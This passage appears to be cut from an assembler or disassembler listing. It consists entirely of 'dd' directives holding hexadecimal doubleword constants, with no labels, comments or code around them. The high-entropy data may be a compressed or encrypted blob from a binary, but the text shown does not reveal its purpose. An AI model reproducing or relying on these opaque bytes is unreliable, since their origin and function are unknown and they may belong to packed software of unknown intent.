409A207Eh, 0DD40D0EDh dd 0D28C4014h, 0A7087162h dd 0B94502E7h, 313FF903h, 6A49C738h, 0BF088CCAh, 62B2186Dh dd 9FE2088Eh, 3023802h, 2810768Fh, 4F182894h, 722910E4h dd 0CF593D80h, 18F87608h, 1180BFB2h, 23EB83C5h, 9ADE0818h dd 8073A520h, 10C46BE9h, 0D60456C2h, 0F43606F9h, 80A3108h dd 8846EA18h, 81BBF08h, 2089AEFh, 6FA1084Bh, 39893338h dd 0CFD1332Eh, 0A9197E10h, 4D108690h, 5454988h, 186C5F0Dh dd 898FFF5h, 0B037C9BDh, 0C40F08C4h, 0A039300Ch, 62D44140h dd 247E08ACh, 10ABA603h, 18399728h, 55108B7Fh, 0EC21D12Ch dd 9C0F91Bh, 97ED2119h, 98523108h, 89B0A20Ah, 93620242h dd 1057B403h, 31B90D08h, 67C5F1EFh, 18D1201h, 88CBBEEh dd 71184740h, 63ABBE40h, 641F10B7h, 0B078082Ah, 31A38420h dd 5728DC60h, 0B5088861h, 81F90C9Dh, 8880A2F1h, 0C018C6F1h dd 0E233087Ch, 3275C97Bh, 33281481h, 510184A3h, 0CE960810h dd 183C6B10h, 54308E6Eh, 0D0618080h, 248210C9h, 64913B00h dd 4B03DF63h, 78103919h, 19892908h, 1C28A1B4h, 0B17E88D4h dd 0C31AB08h, 7C187D2Ch, 0A9C5BE40h, 398CE1D4h, 7C593267h dd 0CC169A80h, 7E695008h, 870895FBh, 0A45418A0h, 80C38B38h dd 0A8098D6h, 51E98149h, 2296CCCh, 36D84817h, 0B108C4ADh dd 0F4F80A85h, 821D788h, 0ED0822BEh, 0A05D1FB5h, 1018A449h dd 0C924F74Fh, 8C0B608h, 206E1820h, 95492ECCh, 810A315Ch dd 0B501895Bh, 8C1888B1h, 0B9720806h, 10844A15h, 3375CB4h dd 8C946E1h, 189B5A33h, 0DA691035h, 0EC3B106Bh, 33A8432Ah dd 0E8E96809h, 0A05D1019h, 718C9A08h, 0FF10BA2Ch, 0AAF9BB41h dd 17B1601h, 0D401F022h, 9AFD01C2h, 1425601h, 0D052CB90h dd 9F83022Dh, 72D802h, 0E8FC9C60h, 0F825A499h, 5EC22A75h dd 901B4D7h, 2F205BDAh, 2752C47h, 8913EB18h, 0DEA7B90Eh dd 105803Dh, 49408F44h, 75C90B02h, 0C3748BF7h, 3DEA039h dd 0EAFE95F0h, 1C0338Fh, 304FB10Fh, 4AC2C82h, 0A4FE51E5h dd 105B750h, 0F928C4B1h, 7BE1C05Bh, 29EAC40Ch, 8BF65851h dd 0B4274E4Ch, 38688280h, 9589E6Fh, 0F4B217AFh, 2F366246h dd 0B9511C84h, 0FBD81498h, 905ECB2Dh, 5E13CC02h, 0BAEAFF3Ch dd 0CDF30827h, 11A0422h, 1432C296h, 0DA2E7037h, 88163B8h dd 0CE452A5Bh, 25D078A0h, 5C500BC9h, 0F1027877h, 7FFF71EBh dd 4F05E855h, 0AA014A3Ch, 0A400A124h, 0F4E7EA7h, 6927308Eh dd 29F68120h, 0A820A004h, 0E0ECF189h, 5D003CA6h, 2D20F569h dd 4F441546h, 47910C3Bh, 7303B867h, 316FBE02h, 852FE1C7h dd 2F5B3C9Eh, 215F0696h, 3B4C9F05h, 0B4D658BCh, 4A602BDFh dd 10B05058h, 0F6C81BFEh, 0C5E04D8h, 66045300h, 0C74AC780h dd 6728E026h, 163B0F58h, 0ECEFE7C7h, 5B1CFA12h, 0D00E6D04h dd 0E7D1972Ch, 0A650F67Ch, 3BDE8DC6h, 0C103BCD5h, 3223711Eh dd 519A0C01h, 0F101223Bh, 846E9F9h, 5E14810Ch, 51CF847Ch dd 0C0358BA6h, 5510BE04h, 80EB30B3h, 79DD72D4h, 63BA521Eh dd 73BA5BAh, 59846850h, 0C7C0ACB8h, 813D1E25h, 7B37F304h dd 57F05201h, 0B92B4FD3h, 94BDD38Dh, 0D22D9713h, 0EEFE2CBBh dd 5E316D28h, 0E3D19051h, 61AD8BE0h, 0EDE9103Ah, 7426A7DDh dd 22E97832h, 98BB65Dh, 565D5EF0h, 0EC5B2DB7h, 31EA966Fh dd 1AB68A1h, 12937C01h, 79CFBE5Fh, 3B58914Ah, 0FC35AFEBh dd 0F4D037DFh, 0C65C0E0Dh, 7C0C2C58h, 48433055h, 0F8E780CCh dd 55AC06C9h, 0F7092964h, 0D2F908F0h, 32D835ABh, 68D2C130h dd 16137A0Bh, 0B6AA1884h, 0BDE98295h, 54D15D21h, 67F1953Ch dd 0BB634A5h, 92E9F3BFh, 0E90B078Ah, 945FBE1Fh, 66D1951Bh dd 3C7AA43h, 4FA1BD10h, 7C182ADDh, 0F5FB22E4h, 0EA88242Bh dd 11F90CFDh, 1341FA93h, 0FB78E47Eh, 158E7E14h, 714704DEh dd 54BC2EF0h, 9649C8B1h, 0F2A83338h, 5042A388h, 0ACA08FDh dd 0CAD41DEAh, 0A929C74Ah, 1211645Dh, 0A0D94E74h, 95A82767h dd 1612A0C6h, 4FF96D49h, 90580840h, 51EEB56Ah, 79B518F4h dd 8D0A987Bh, 2E4AEE68h, 0F11011F3h, 0ACF15F0Fh, 6025813Ah dd 6E29E1FCh, 13B8AC65h, 31F6572Fh, 0E928E701h, 0A2934B4Ah dd 82960442h, 0C0F24E40h, 50A99106h, 55851434h, 0BDB0D853h dd 0D5F143Bh, 269A5B50h, 5CAD883Ah, 84FD2095h, 54C6C282h dd 0A98F260Bh, 542FD5E8h, 4F5F11E3h, 5757A0Fh, 0B364293Dh dd 88C404AAh, 566F0E3h, 0CF692204h, 56AC508Dh, 946AA704h dd 0B7DD8072h, 0A120E925h, 0CC80017Dh, 0B28F0F23h, 0C0128783h dd 0ECC206E4h, 7E1F78Ah, 40F412C2h, 0DD1A082Eh, 0DD469810h dd 9693BF5Ch, 0EB70F200h, 489CE95Fh, 12D86E56h, 0FE837BDCh dd 60BEF05Ah, 10C3397Eh, 1D4BB973h, 1310FFBCh, 0B36809C8h dd 0B6B9185Dh, 5F7DFECEh, 88B6A9BCh, 0F35916FCh, 0DA291FCEh dd 51C34E98h, 0FEF212B5h, 9A970EC5h, 0C01ED66h, 0D1A1F35Ah dd 56A71D3Fh, 9746E29Bh, 0BFAA39C1h, 29F885C3h, 60C8EEF4h dd 0BD5D49EDh, 7D45EA25h, 0B6EDE4B1h, 871AD632h, 85F300Dh dd 481EE8E1h, 49E490E0h, 0F7031507h, 0E6D0FC12h, 0A983FDC2h dd 1D0F162Eh, 0F8F9A3EEh, 0B4596AA8h, 8057E4E9h, 32AF3420h dd 0E7C15F12h, 8ABB4C09h, 0D2675C11h, 426B9602h, 0E9FC609Ah dd 7B8E2D30h, 0F707837Ch, 0BFA24DD5h, 0C1CCFDB5h, 0A4B5BC5Fh dd 0E433E92Ah, 91B9D1EEh, 0FC1C1238h, 164308F3h, 9A253428h dd 0A5BAC76Ch, 0DCCB6EDEh, 9035841h, 0D505D6D6h, 0EACAD8ACh dd 48E13B10h, 4BFA2D60h, 0EE48E1FEh, 20859964h, 0D0A00C6Bh dd 3479794Ah, 1F7BCDEAh, 500E6DA6h, 8A59E3B8h, 3C04DB18h dd 0F0F2016Ah, 17FAB16Ah, 99CC046h, 1E985BD9h, 0AD48EFF5h dd 0F6DB12E8h, 0C2D731EAh, 5689488Dh, 3A4E7C51h, 2D0F15E8h dd 0A6CBBDFAh, 55A0065Dh, 50386E0Ch, 5FEA71D3h, 51350064h dd 0F86E2C66h, 9FC71C48h, 0A9E2CCFBh, 0BC30825Fh, 2BC5E522h dd 0DBB31DD0h, 54EDC145h, 3A127AE3h, 0A0E18FC1h, 58045976h dd 0AB324F70h, 1F012E85h, 0CDB08FA4h, 5F587728h, 2428FC4Ah dd 0E9C30A02h, 0AD7F5A49h, 8E162619h, 0D01AAABEh, 5051AC04h dd 5FC4F6B4h, 7D87FA94h, 7FDC2372h, 50E7C8A0h, 64C02756h dd 6829181Bh, 0CECB35E9h, 73D0C22h, 49690506h, 6DA683A0h dd 8031E121h, 0E3E77168h, 8E3B445Ah, 5E141950h, 126FDA29h dd 0C5E90F99h, 261585A6h, 53A89895h, 64C12668h, 0BF576011h dd 9C255B4Bh, 1F12F019h, 0D3EC8EBCh, 0CB8B09F9h, 32B78406h dd 58C7719Dh, 854CA0E9h, 5A68C24Ah, 0CB81DE57h, 9C1E9706h dd 78E8829Dh, 4286436h, 58D3BBB9h, 0D6081A29h, 0B45E179Dh dd 2B0CC7D3h, 0BC4449EFh, 30670388h, 0D27EE97Ch, 5C36840h dd 0C50C9D09h, 5282D56Eh, 4CE84502h, 0F6031EC1h, 308B0FD9h dd 0B8174566h, 0E1288D01h, 518F10BAh, 5E952368h, 4930B91Ch dd 5F0873EBh, 0E58180C2h, 1A31413Ch, 4D860CC1h, 4F205DE0h dd 0F5C403B2h, 282DE910h, 4EF82E5Ah, 4C09B24Eh, 74EF0E0Fh dd 0D8E9221Fh, 5D11E991h, 107AA22Eh, 74230A29h, 134518B4h dd 7471FAAh, 0C8EB3D96h, 0BFB1E4B0h, 2BA0EEC8h, 20FF014Bh dd 760CE6CBh, 23DBD3Bh, 0A65DCFCEh, 0AA286022h, 68A92C7Eh dd 0A1B8583Fh, 16013173h, 97CAD405h, 0DD80298Ch, 67F1B951h dd 0E93B2A73h, 0B838E5D1h, 155CFA05h, 2D072980h, 0C40116DAh dd 0E0FDA13Eh, 213DB9E5h dd 8CC3A480h, 8EA8631Ah, 0F68C1E8Bh, 17799474h, 0CC9422A2h dd 35BACE20h, 30EE14A0h, 63A20DD7h, 178CAF10h, 0B1AC4768h dd 0CE6F8755h, 9CA04E44h, 351C6245h, 571A1B22h, 167D6892h dd 27289437h, 9D4A2CF1h, 4DE95782h, 0B6520036h, 0C65CFE6Bh dd 9AF112E8h, 9703AFEDh, 2AB35350h, 8806F3B8h, 285BD814h dd 0E6C01EAFh, 5866845h, 0B0B4C731h, 852CA57Fh, 396BE904h dd 0FB9F12h, 0C1BDF2B2h, 70B7D56Eh, 2AD18015h, 73442D09h dd 0CF54B68h, 2A61E5E1h, 3074D9F2h, 6848474Ch, 963B7Fh dd 0D5317D62h, 534CC9EEh, 6BB4ADEh, 854A203Bh, 3B252EB0h dd 5A3955EDh, 993665A4h, 0D92F1050h, 6F02B31h, 0FC144FBCh dd 1612612Fh, 4C888254h, 0C00B08CBh, 0F2057FE0h, 0E2CF972Eh dd 0DCA27891h, 0D7291C2Dh, 0FBF6AB60h, 0CC4CA59Dh, 0BE01D81Ch dd 6EB55DB9h, 13D58520h, 0F0372E74h, 0E40C226Fh, 1CDEF751h dd 6401121Bh, 0E9430133h, 3BDCDBFEh, 0B4905914h, 0C8F788BCh dd 8C8C9C1Bh, 675AB007h, 649792D0h, 816310DDh, 1E7A0CF3h dd 60E23B7Ch, 41E00244h, 0E48AECC6h, 71CDD14Dh, 1E47709Ch dd 208C231Ch, 1BB0F12Fh, 2584C158h, 25B2FCE7h, 5F5AA575h dd 87A572AAh, 380AEC77h, 957047A0h, 0F8B711EEh, 0C91FBE59h dd 0EA436F7Eh, 419C85A9h, 18C317BFh, 1A0D063Eh, 1B902032h dd 0BA525001h, 4B420AE3h, 1367FB20h, 0FF16716Ch, 6E17BD53h dd 163A32E1h, 627A96Fh, 5D336684h, 3691080Ch, 0B012164h dd 5F0C9604h, 68C2E538h, 0E901764Bh, 220337Fh, 6BEA5309h dd 3E81F238h, 15E967FFh, 0E3B6920h, 765D4521h, 467C0AAEh dd 227C26CDh, 0C33420CDh, 0A90E6498h, 0A7ACE5F6h, 0EF9047D7h dd 5B4B7824h, 2D26A193h, 755C3027h, 0C09482E9h, 2576BE3Eh dd 409F1629h, 4C586B9Eh, 0A73A1328h, 0D34F6B62h, 1EF82500h dd 27105139h, 0F06EDFD2h, 23B4038Eh, 0A84BE310h, 2209047Dh dd 5F0C07D4h, 520224EAh, 0A3E91218h, 0C94E6867h, 20C8B8F6h dd 83982AD0h, 2CBA1F4Bh, 8B0968E2h, 5722B032h, 9A255280h dd 2B48B376h, 3FAA184Bh, 813A09CBh, 9D792058h, 50F5411Dh dd 2C6CC382h, 40EEE228h, 4BFDE980h, 3E998DA1h, 3DBF6A12h dd 1EE29614h, 374D84D0h, 2107008Ch, 0F50D59C8h, 1E5DAC48h dd 26741AD9h, 930AC02Ah, 0C7EFC028h, 0C0EFD0B3h, 7308E73Ch dd 0F6161A64h, 0E291D1AAh, 22E23D58h, 0EEF8B040h, 42944E86h dd 0A75DF324h, 3855BEC0h, 0EDE67F82h, 3024C304h, 4B8173Ch dd 315E2C76h, 5820BE82h, 0E3B0CDEEh, 69E1CC70h, 3EBE864Ch dd 8E448024h, 0F3DBB5FDh, 0CE654CB1h, 3ED6DD2Fh, 350D704Ch dd 6F7D2068h, 6BB1E924h, 9AD80193h, 0E7143D5Ch, 0D9E95886h dd 0F17255B6h, 626A031Eh, 0D785C2D2h, 3FC56E80h, 694F7B35h dd 0B04F596h, 9260C868h, 6B17D862h, 105D0917h, 0F6A2BB75h dd 2297AABh, 0FA02B791h, 1655DF01h, 0C8EF0219h, 0F4AEB68h dd 0A5D740C1h, 0F754C818h, 55B00559h, 99F83171h, 64660CCh dd 1259AAC0h, 762D9471h, 38280647h, 0CA5C63E9h, 3FC3800Fh dd 829B2451h, 0A3C574B3h, 40B1291Dh, 0A0603FA5h, 2609194Bh dd 6C7F5C5Bh, 324B0A54h, 0CF05B231h, 0D6C24981h, 7A481625h dd 7C54C1F3h, 175834E9h, 4576809Eh, 181AB416h, 0A38DA29h dd 8A430B08h, 5C541727h, 5CAF650h, 4E7A6855h, 27E971CCh dd 1235006h, 0C4A5646h, 7848D3FCh, 15136911h, 9D793045h dd 685CC580h, 58015A26h, 22795D5h, 8C175BC5h, 76AB0853h dd 6813B0EEh, 0A8CC2587h, 0A5C59C06h, 0B0153C55h, 78400115h dd 77682369h, 245B767Fh, 0B04075A8h, 5016DD70h, 129CA05Ah dd 0A86D2865h, 86460670h, 21A425Bh, 0DA182DBCh, 3174D789h dd 106C684h, 844DB3BEh, 6F1DF309h, 313EF8F2h, 71C715FBh dd 0B7B05EC2h, 6871A846h, 961E1202h, 12000C15h, 84EC5C5Eh dd 6805929Ch, 37BE5778h, 18579BAAh, 0BAFBE3Ah, 314AC806h dd 24FB03ABh, 0AEDF050Bh, 0AD172A8Bh, 9BC35BC2h, 7D13F891h dd 473B4A97h, 0A262E01h, 7E2C3C76h, 9DF4A007h, 7D002D67h dd 0C10ED754h, 70862EEh, 425867E9h, 580E0462h, 0CCA25161h dd 0F405A558h, 83E9A43Fh, 0B7EF3594h, 0D35C2DE8h, 7A142DCEh dd 0F45D5425h, 84F5C9D1h, 0F6C80C4Fh, 203741E7h, 22F756D8h dd 0C1C609C2h, 25F1D8D1h, 8654D5F7h, 0A553238Dh, 14438A24h dd 82AAD42h, 0F663FA09h, 1BA70682h, 0CE018FDh, 81719C2Dh dd 4EF0A5Fh, 2C20DC0Fh, 8934A5B2h, 74010A4Ch, 0D9315B5Ah dd 0C535CBF5h, 68522C7Bh, 0F8334A5Ah, 754DC952h, 0A5AAA82Ah dd 3669CABh, 0CF8E35Fh, 7937BBE0h, 4A908B5Fh, 0D32C9FE9h dd 0C103412Dh, 2F02AB55h, 31437BB5h, 0C6230043h, 0DF8AB5EDh dd 67B0F089h, 848AC15Bh, 0DC2215Ah, 3C3393Ch, 0B6525843h dd 74CEB97Bh, 97B4FCFCh, 5700055Bh, 0C748C168h, 11B5A170h dd 71BD5500h, 4E583F16h, 79780E80h, 0E91E0CD8h, 0F29D32F3h dd 3363671Dh, 947BF027h, 25DA5C5h, 0ACB21C1h, 40BB0DD2h dd 30CD30ADh, 6D660E13h, 83650AEh, 4BB2E912h, 0C046BDC5h dd 1A48950Bh, 5844E946h, 1B09883Eh, 801E65BAh, 980BD7C1h dd 0EEFDA0B3h, 0B5490C55h, 20EB8C50h, 0BFDDCF1Eh, 0E32A1C6Ch dd 0AE77AA21h, 785618D3h, 0B203489Eh, 0DBE9BE09h, 0EE81A817h dd 243A16EFh, 119F50Fh, 0FDD15808h, 40248246h, 0E3096512h dd 942FB098h, 0CC014134h, 0BF0457F0h, 49680F3Bh, 3C13EEh dd 0C78108AFh, 0B73B218Ah, 16097C05h, 751A3A38h, 0EE9A68Fh dd 89ED7C25h, 0A6F0780Bh, 6BEC00B8h, 99050F54h, 3C752927h dd 8977B13Ah, 0C0EFE925h, 0EE1B2C37h, 0C3B2B8h, 2184F681h dd 728922ECh, 168A304Bh, 82CAE913h, 14F75D86h, 0DC6828A8h dd 0C0AC3114h, 2BC8300Ah, 5A05DAE3h, 0FA6C5B68h, 0C81B7533h dd 138135F2h, 113B18E7h, 0E9178BDDh, 5E90AC5Fh, 1F484F8h dd 0AD62D893h, 0A068717Eh, 5B5A0828h, 79B112ECh, 0F490012h dd 16B0318Ch, 49E6DB3h, 0AAB915C1h, 0B69A4B7Ch, 8B56717Dh dd 3DFEF696h, 8C89DE6Bh, 522A58Ch, 0C9DF3709h, 272754E8h dd 74A89E3h, 0D01C07ACh, 0EE21C93Ch, 0CE00966Ch, 44696261h dd 9416860Fh, 8E9065Ah, 17270B4Fh, 0E9C7D1CEh, 58BD0D16h dd 0D76CB5D9h, 0E188AA15h, 1A0AD216h, 2119A83h, 0DE4FFE4Eh dd 6026C623h, 30587616h, 0C735796Fh, 83100FB1h, 0F6246654h dd 0F3440956h, 84F9DAA5h, 15CAD51h, 594DF4BEh, 0BDF05745h dd 0BD3EE175h, 0F7E0D318h, 3ACE053Ch, 0BEA801E9h, 0BCF20BCCh dd 56D3271Bh, 7CE14A69h, 4B8FC761h, 813D315Dh, 0E9C5D015h dd 4DBDFA2Ah, 37688F3Fh, 0C222F853h, 66015EBDh, 7B220FF8h dd 8FAB3CD6h, 0EE3034A0h, 0C6038059h, 0F1B050C8h, 59F1A566h dd 0D0D558D5h, 0CB50806Bh, 0E915C630h, 48A008D3h, 0D51E4B1Ah dd 6A607DCCh, 0C3B53C51h, 266B6A18h, 9F166CB9h, 41BC6847h dd 0E57CEC5Bh, 405B500Dh, 3079DDBBh, 0F01F65AEh, 0D805F65Ah dd 7802870Fh, 0E909678Fh, 271AA3D0h, 1AE8E301h, 8A64801h dd 0F33EBC99h, 60FDF05Ah, 0ED02994Ch, 1EDA5DB0h, 8BDA8FFh dd 7C841C31h, 7DC65EFDh, 0FDE9C899h, 66A6226h, 0D58F0F38h dd 64C9F273h, 0B0C4129Ah, 0E106C0B6h, 570E902h, 62808C94h dd 3DFBAE55h, 5F74E90Fh, 686D298h, 1337382Ch, 2C969308h dd 821ABC10h, 0C5DF3441h dd 0E95483F0h, 204B2909h, 2D7924B9h, 15207BC8h, 764619EDh dd 0C00B0CC1h, 0C67E17BBh, 9DC28E80h, 5E9B890Fh, 17C11FDBh dd 0C5AA0406h, 83E04D72h, 421BC17Bh, 0CAB900A2h, 5913F58h dd 94C937EFh, 4B68C3A1h, 40CB6A16h, 0FFDC0C2Dh, 0C0E854C5h dd 88E956C1h, 0DABB05E6h, 0FE3D1859h, 0B7514F67h, 570935FBh dd 30367788h, 0D9B25Ch, 0EB686650h, 9A5CE97Eh, 0C2801617h dd 31CDB12Eh, 681A2403h, 530B3A04h, 6FEC5E5Ch, 9DC0D425h dd 70CEEC1h, 8F74DDE9h, 6090BE80h, 8A4A9FB9h, 0A4313B24h dd 0B400C726h, 0E9738252h, 0D2425453h, 351702EAh, 0D029BC0Fh dd 403013E1h, 149DB9B7h, 811DA000h, 7C1B44C9h, 2A38906Dh dd 0A3D62FABh, 8D84C938h, 0C6889A50h, 0EB80165Ah, 0B807FA13h dd 0E483EDB4h, 1AECD8B9h, 0C474F3E9h, 30D89501h, 27084EB7h dd 47561D2Ch, 121EBD70h, 0BCB48492h, 0EDB14AEAh, 127139A5h dd 5CF9E9C2h, 0AF5F136Ch, 0A63F62DDh, 0D82900ABh, 0DA33CE05h dd 0F651BD65h, 0EC4DF769h, 68F148A7h, 11122E99h, 0BED7A550h dd 0D7F448E4h, 8418F94Eh, 0A7BA5FFBh, 0ACF4CD8h, 8F010782h dd 1C79878h, 0EF31545Eh, 240FC6E9h, 4578DDCCh, 0B200774Fh dd 437B60B9h, 0FFECA039h, 0A1CE7E48h, 78407E6h, 0AD4C50E9h dd 97886C0Ch, 685809C7h, 681802DDh, 5135E955h, 90FA12F8h dd 70576A65h, 0E629DD5Ah, 5ED7C8CDh, 9299FC48h, 5F6010E5h dd 45601741h, 0EF674A2Fh, 940C3008h, 0F60091Bh, 587F2628h dd 73E91721h, 0D22EBCE3h, 27607CF5h, 9C68758Ch, 0F79B3C1Ch dd 40B918D6h, 0DE109776h, 9858908h, 0D4DE8A68h, 932AB28Ch dd 0C2F3AEAh, 0FA711725h, 0D468C261h, 0F0BC983Fh, 78A25C7Dh dd 9E1A8641h, 354E5E61h, 0C503923Ch, 0C39F7AAFh, 9A018D49h dd 7E507C10h, 7A3D9430h, 2BD4FD71h, 2FBB9E5h, 0F12C8483h dd 4FB9EB60h, 0EA6C9427h, 0C80809A6h, 818A53D3h, 0CC80E0B4h dd 4A30D87Ah, 0AC5D728h, 31623D7Ch, 0C7EEEDF5h, 2B561777h dd 4CE94F32h, 700CB92h, 8846A9Ch, 0C15BD880h, 2D0300E0h dd 44A92B10h, 305E64E9h, 0E2E508BCh, 0A8A39F10h, 0EB7D373Eh dd 46FB409Dh, 0E597572Bh, 0C0509629h, 0FAF0E23h, 83EBC12Fh dd 32681F8h, 7629E341h, 0F3D1053Dh, 63F2DC48h, 0AA2209B8h dd 0B8C305EFh, 0C1504C0Eh, 2318AFBh, 0B14CDD5Bh, 90195669h dd 9FFD7318h, 5C0944B6h, 1A4F8268h, 0D9D660ABh, 9E4C9F0Ch dd 0C2F07C97h, 0D3578CB7h, 1298A2F3h, 0E12A6850h, 6EE82EE9h dd 92FB40B6h, 43ACD40Bh, 0CC95A24h, 9188636h, 4A5BDA12h dd 16533101h, 0BA430866h, 8ABA94C8h, 92317C2Fh, 12EFE9D5h dd 0B9602731h, 8F8D0D7h, 0E71E5A35h, 0F96631F5h, 46254B6h dd 9FC75B18h, 54974862h, 7AF25A6Dh, 70B5D354h, 0C55DC9CEh dd 5AA94508h, 421C2A10h, 362E14C9h, 0E07100Eh, 39A6805h dd 6C8F81CCh, 0CD3101C8h, 0BE0161DCh, 16D48300h, 25D96D1Dh dd 0EC492BFBh, 0AA7A3063h, 208D2414h, 0EF550024h, 5F21DF72h dd 1336E49Fh, 0E2010803h, 0F92514F6h, 650ADEE5h, 0CA82A541h dd 77724B8Fh, 0FFED9900h, 892FBF7Ah, 0ACA271D5h, 1D030014h dd 295E42FCh, 0DDA8F04Bh, 4405E8B1h, 51350413h, 0C2300593h dd 0BEECF1C9h, 0E16B2E2h, 7F014AB4h, 3785CB4Fh, 548ED2AEh dd 783A9C2h, 0AD022F17h, 3A0113E3h, 63AD4048h, 0A2F782ECh dd 0EDFFCDh, 0F5805CB5h, 0CC7CD97Ah, 2DB5A097h, 0E51679B2h dd 57750F81h, 2C095B0Fh, 17491000h, 0CF29BB4Fh, 0AB26C26Ah dd 0CA3A1BD5h, 5BC4834h, 503D198Ah, 3BC0B060h, 98AB3D12h dd 1B176F48h, 0F68129EEh, 3F7C9DE9h, 4F7C027h, 79BC5E8Eh dd 4DDF617h, 27E18C5h, 0A9C63CE9h, 517300A3h, 0E6585C52h dd 42275CB2h, 32209727h, 0E78C0FD5h, 9127A29Ch, 813E5A19h dd 0B7210E6Eh, 41BF3C64h, 42850FDAh, 118A0F35h, 87862A84h dd 32A8E280h, 0FDFED6EAh, 8A48714Eh, 0AA4A2E06h, 3080C3Ah dd 27CCB17h, 46717B66h, 6D390F00h, 0A049B444h, 140CD008h dd 6AB85003h, 2D88231Fh, 0A50901F1h, 0FA22E972h, 99F30574h dd 0AF60763Eh, 0B6E31104h, 81B721FBh, 620EA5A6h, 0E2D17D64h dd 68575180h, 541F0E8Eh, 97291626h, 19CF35C0h, 5B4D5313h dd 68008CEFh, 7325209h, 20E07A76h, 0BA3DE59Bh, 5B839235h dd 0AB6613EEh, 1FA6A681h, 9E588934h, 9A405290h, 5A061E32h dd 3635580Bh, 459B20Dh, 9D300E05h, 0A710FA45h, 34E93F07h dd 80FFEB99h, 5770CC4h, 76134Ch, 805DB1CEh, 0C98F0F4Bh dd 0DE4B01CAh, 7D818BC9h, 89C6006Ah, 80210C71h, 50082EE6h dd 0AC9C4967h, 956E5404h, 0CB825659h, 54205DE8h, 9F63B7C2h dd 95BA5200h, 29112569h, 0EB8CC0D3h, 6C8F6F5Ch, 883F5A4h dd 6B170C41h, 77C516F2h, 0DCE6ACD6h, 618C71EFh, 637E3A68h dd 5C787863h, 136277B4h, 0E9BC411Ah, 407AC2F1h, 42FFE2A4h dd 9EF81209h, 5C2D6F9Ch, 80570072h, 890F60F6h, 7A49FD24h dd 0E97ECE81h, 4364CCC6h, 0E0380066h, 64055346h, 71584120h dd 0FB6126D0h, 92D881BDh, 0D0E9E8BBh, 5ED5002Eh, 875FFA21h dd 0D6F7F216h, 8A0609EFh, 4E5EB6E6h, 444BF11Fh, 443CFCE6h dd 876F8253h, 272D3306h, 0DFA0E601h, 4EE319EAh, 0BD604D96h dd 2D3559AEh, 7C784D54h, 32C1F678h, 124872Dh, 6015E17Eh dd 0FD830589h, 9F3CFF38h, 0EE67E232h, 890C5F93h, 0B811DAh dd 66C560BBh, 0F113840Dh, 35482102h, 41252B0Fh, 79D06475h dd 5ABECE36h, 81853D89h, 94CED7ABh, 0C8E99788h, 0E8A542Fh dd 2D1C35CDh, 664A1314h, 8428CCC2h, 17888A97h, 0EEC02C02h dd 2D630878h, 0BE5EC425h, 23D88B47h, 8BE28F51h, 6259771Ch dd 17A8BCECh, 0FE418338h, 6B7A0D00h, 94F76210h, 0D7D60293h dd 95FBFFFh, 0E8477D02h, 0A21FC78Bh, 7F57CE09h, 209D969Ch dd 513106E2h, 564901Dh, 554B56E7h, 54A18536h, 50185D64h dd 0A9EAAFA5h, 4660DCF2h, 0B539800Ch, 0F18B09B1h, 4ED85B5Dh dd 26930F18h, 5350Ch, 0CB31195Ch, 6C685159h, 36C84714h dd 0EB0216C0h, 61C305C2h, 0F93BEF9Ah, 0E2EA86F3h, 5AD53CADh dd 0D9620A3Eh, 2C2C1133h, 0ECBD0455h, 0C3544D12h, 1C4E3C27h dd 0FEFB53AFh, 56BCB725h, 29317020h, 0C43A56D0h, 60141334h dd 2F7E95Ch, 0D74F791Bh, 911BFC7h, 0CB3E1C6Fh, 0E496108Fh dd 0C49E8149h, 0BB015157h, 680AA1E7h, 8C5E364Dh, 51FB7AE9h dd 0E24CFE30h, 0EE5C059h, 0EC58005h, 1ED6E80Ch, 2551B881h dd 85967CA8h, 0B9E053D3h, 114EC6DCh, 5B7C86h, 51942C92h dd 0D9F6FDB1h, 1EE904C3h, 0C2F502AAh, 320B1570h, 464CEE80h dd 0CC368B0h, 0E5B101F7h, 0E7F005C4h, 0C8D1F449h, 3F24EE3Eh dd 1C03960Ch, 0A4009F09h, 0C750E7C5h, 0F5071690h, 39F00D53h dd 0E5B3EDC0h, 0A19A5A79h, 0D03E2806h, 85EE25D0h, 0D9FA58E9h dd 0F529433Dh, 2969A0F0h, 8136F0B5h, 0F0715B08h, 2123CB6Fh dd 2F40281Ch, 6B591E58h, 0F980ED92h, 0A0815D5Fh, 90DD2EEh dd 0A2685B0Eh, 0BA544FDh, 0D0B4E957h, 0F08A71D1h, 0A7409E8Ch dd 0BF7AB14Eh, 2BB7AEE8h, 2DB425B5h, 0C6C5D1FBh, 0E41F3005h dd 0D35C8082h, 9D0ED060h, 85E54BC0h, 50A1331Eh, 2E9CD514h dd 0DA09F77Ah, 89030E09h, 0A530FF73h, 2921B88h, 5450FC20h dd 0CEDC029h, 28B52F40h, 1202CAA0h, 0A7E97C66h, 261E5A16h dd 0AF916D58h, 86C6D742h dd 2628310Fh, 84697DB7h, 981CE017h, 0C29E766Dh, 0D2F932A8h dd 0FA3BB18Ch, 83C09D31h, 3913B9C3h, 80EB3F32h, 16F7CB51h dd 0E93B6BE2h, 0D6E84F2Bh, 3890BBD3h, 3D7B742Dh, 0C4275DB9h dd 52402A62h, 0CC7F7124h, 0E00BC7ECh, 89DBF7DFh, 0A9868A69h dd 0C959088Ch, 231309C1h, 0EEE35475h, 5DC39BC3h, 582FEE16h dd 9DB1648Ch, 0EF759609h, 0BD5C9314h, 60258411h, 0D9571E5Ah dd 0D9A13CBCh, 4807E069h, 2025B8DCh, 284C79FFh, 0E7375A73h dd 0E844031Bh, 60BFA52Ch, 5BB551B0h, 61E58002h, 74F255E9h dd 488A502Ch, 48D50153h, 9A1525B9h, 5904C031h, 164B9EDh dd 0EB96BFC7h, 25E13F82h, 17427D09h, 2769F450h, 0E70AB2FAh dd 4E0D5F2Fh, 6C027E69h, 2D066F54h, 0EF01475Fh, 5D088136h dd 0F1F5FC2Eh, 418239ACh, 602026CDh, 31B86057h, 3E98345Ch dd 9AE8000Ch, 75D9E94Bh, 0A6DDF9B5h, 73B00FE0h, 0E8B22113h dd 95E7BE4Ch, 85FC2D8Bh, 0CAFB9957h, 15D35174h, 3590AECCh dd 5ABA0E38h, 84D5A036h, 6C400C0Ah, 510105BBh, 806352B9h dd 9F646C20h, 0DE81F989h, 34058C0Fh, 0F20681F3h, 1DAC4504h dd 71BD2A18h, 0F3A334D8h, 0B645C0F5h, 2AB0175Fh, 8C0A9D0Ch dd 30D8402h, 0E92EDA56h, 2E5AF78Bh, 0CA158EE6h, 0EC5F6E35h dd 0FA37842Ch, 55566603h, 2A7ABD98h, 0E9179895h, 7825499Ch dd 0E1621E0h, 0F30C5E60h, 90CC58ECh, 57A709C8h, 0DFD7248h dd 13B78F6h, 